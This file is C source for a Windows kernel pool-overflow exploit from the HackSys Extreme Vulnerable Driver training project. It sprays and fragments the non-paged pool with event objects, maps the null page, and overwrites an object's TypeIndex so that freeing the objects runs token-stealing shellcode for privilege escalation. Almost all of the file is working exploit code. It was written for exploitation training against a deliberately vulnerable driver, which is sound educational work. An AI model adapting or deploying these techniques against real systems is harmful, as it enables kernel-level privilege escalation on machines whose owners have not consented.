hacksysteam-HackSysExtremeVulnerableDriver/Exploit/Source/PoolOverflow.c

/*++

 /$$   /$$                     /$$        /$$$$$$                     
| $$  | $$                    | $$       /$$__  $$                    
| $$  | $$  /$$$$$$   /$$$$$$$| $$   /$$| $$  \__/ /$$   /$$  /$$$$$$$
| $$$$$$$$ |____  $$ /$$_____/| $$  /$$/|  $$$$$$ | $$  | $$ /$$_____/
| $$__  $$  /$$$$$$$| $$      | $$$$$$/  \____  $$| $$  | $$|  $$$$$$ 
| $$  | $$ /$$__  $$| $$      | $$_  $$  /$$  \ $$| $$  | $$ \____  $$
| $$  | $$|  $$$$$$$|  $$$$$$$| $$ \  $$|  $$$$$$/|  $$$$$$$ /$$$$$$$/
|__/  |__/ \_______/ \_______/|__/  \__/ \______/  \____  $$|_______/ 
                                                   /$$  | $$          
                                                  |  $$$$$$/          
                                                   \______/           


Copyright (C) 2010-2015 HackSys Team. All rights reserved.

This file is part of HackSys Extreme Vulnerable Driver Exploit.

See the file 'LICENSE' for copying permission.

Author : Ashfaq Ansari
Contact: ashfaq_ansari1989[at]hotmail.com
Website: http://hacksys.vfreaks.com

Project Name:
    HackSys Extreme Vulnerable Driver Exploit

Module Name:
    PoolOverflow.c

Abstract:
    This module implements the exploit for Pool Overflow 
    Vulnerability implemented in HackSys Extreme Vulnerable 
    Driver.

--*/

#include "PoolOverflow.h"

VOID SprayNonPagedPoolWithEventObjects() {
    UINT32 i = 0;

    RtlFillMemory(hReserveObjectArrayA, sizeof(hReserveObjectArrayA), 0x0);
    RtlFillMemory(hReserveObjectArrayB, sizeof(hReserveObjectArrayB), 0x0);

    for (i = 0; i < 10000; i++) {
        hEventObjectArrayA[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
        if (!hEventObjectArrayA[i]) {
            DEBUG_ERROR("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    }

    for (i = 0; i < 5000; i++) {
        hEventObjectArrayB[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
        if (!hEventObjectArrayB[i]) {
            DEBUG_ERROR("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    }
}

VOID CreateHolesInNonPagedPoolByCoalescingEventObjects() {
    UINT32 i = 0;
    UINT32 j = 0;

    for (i = 0; i < 5000; i += 16) {
        for (j = 0; j < 8; j++) {
            if (!CloseHandle(hEventObjectArrayB[i + j])) {
                DEBUG_ERROR("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
                exit(EXIT_FAILURE);
            }
        }
    }
}

VOID FreeEventObjects() {
    UINT32 i = 0;
    UINT32 j = 0;

    for (i = 0; i < 10000; i++) {
        if (!CloseHandle(hEventObjectArrayA[i])) {
            DEBUG_ERROR("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    }

    for (i = 8; i < 5000; i += 16) {
        for (j = 0; j < 8; j++) {
            if (!CloseHandle(hEventObjectArrayB[i + j])) {
                DEBUG_ERROR("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
                exit(EXIT_FAILURE);
            }
        }
    }
}

DWORD WINAPI PoolOverflowThread(LPVOID lpParameter) {
    HANDLE hFile = NULL;
    PVOID pMemory = NULL;
    DWORD lpBytesReturned;
    PULONG pUserModeBuffer = NULL;
    LPCSTR lpFileName = (LPCSTR)DEVICE_NAME;
    PVOID pEopShellcode = &TokenStealingShellcodePoolOverflowWin7;
    SIZE_T userModeBufferSize = (ULONG)(POOL_BUFFER_SIZE + TYPE_INDEX_OVERWRITE);

    __try {
        DEBUG_MESSAGE("\t[+] Setting Thread Priority\n");

        if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) {
            DEBUG_ERROR("\t\t[-] Failed To Set As THREAD_PRIORITY_HIGHEST\n");
        }
        else {
            DEBUG_INFO("\t\t[+] Priority Set To THREAD_PRIORITY_HIGHEST\n");
        }

        // Get the device handle
        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
        DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName);

        hFile = GetDeviceHandle(lpFileName);

        if (hFile == INVALID_HANDLE_VALUE) {
            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
        }

        DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");

        DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n");

        pUserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
                                            HEAP_ZERO_MEMORY,
                                            userModeBufferSize);

        if (!pUserModeBuffer) {
            DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", pUserModeBuffer);
            DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", userModeBufferSize);
        }

        DEBUG_INFO("\t\t[+] Mapping Null Page\n");

        if (!MapNullPage()) {
            DEBUG_ERROR("\t\t[-] Failed Mapping Null Page: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }

        DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");

        RtlFillMemory((PVOID)pUserModeBuffer, userModeBufferSize, 0x41);
        pMemory = (PVOID)((ULONG)pUserModeBuffer + (ULONG)POOL_BUFFER_SIZE);
        *(PULONG)pMemory = (ULONG)0x04080040;
        pMemory = (PVOID)((ULONG)pMemory + 0x4);
        *(PULONG)pMemory = (ULONG)0xee657645;
        pMemory = (PVOID)((ULONG)pMemory + 0x4);
        *(PULONG)pMemory = (ULONG)0x00000000;
        pMemory = (PVOID)((ULONG)pMemory + 0x4);
        *(PULONG)pMemory = (ULONG)0x00000040;
        pMemory = (PVOID)((ULONG)pMemory + 0x4);
        *(PULONG)pMemory = (ULONG)0x00000000;
        pMemory = (PVOID)((ULONG)pMemory + 0x4);
        *(PULONG)pMemory = (ULONG)0x00000000;
        pMemory = (PVOID)((ULONG)pMemory + 0x4);
        *(PULONG)pMemory = (ULONG)0x00000001;
        pMemory = (PVOID)((ULONG)pMemory + 0x4);
        *(PULONG)pMemory = (ULONG)0x00000001;
        pMemory = (PVOID)((ULONG)pMemory + 0x4);
        *(PULONG)pMemory = (ULONG)0x00000000;
        pMemory = (PVOID)((ULONG)pMemory + 0x4);
        *(PULONG)pMemory = (ULONG)0x00080000;

        DEBUG_INFO("\t\t\t[+] TypeIndex Of Event Object Set To: 0x0\n");

        DEBUG_INFO("\t\t[+] Preparing OBJECT_TYPE At Null Page\n");

        *(PULONG)0x00000060 = (ULONG)pEopShellcode;

        DEBUG_INFO("\t\t\t[+] DeleteProcedure Value: 0x%X\n", *(PULONG)0x00000060);
        DEBUG_INFO("\t\t\t[+] DeleteProcedure Address: 0x%p\n", (ULONG)0x00000060);

        DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopShellcode);

        DEBUG_INFO("\t\t[+] Preparing NonPaged Kernel Pool Layout\n");

        DEBUG_INFO("\t\t\t[+] Spraying With Event Objects\n");

        SprayNonPagedPoolWithEventObjects();

        DEBUG_INFO("\t\t\t[+] Creating Holes By Coalescing\n");

        CreateHolesInNonPagedPoolByCoalescingEventObjects();

        DEBUG_MESSAGE("\t[+] Triggering Pool Overflow\n");

        OutputDebugString("****************Kernel Mode****************\n");

        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_POOL_OVERFLOW,
                        (LPVOID)pUserModeBuffer,
                        (DWORD)userModeBufferSize,
                        NULL,
                        0,
                        &lpBytesReturned,
                        NULL);

        OutputDebugString("****************Kernel Mode****************\n");

        DEBUG_INFO("\t\t[+] Triggering Payload\n");

        DEBUG_INFO("\t\t\t[+] Freeing Event Objects\n");

        FreeEventObjects();

        HeapFree(GetProcessHeap(), 0, (LPVOID)pUserModeBuffer);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}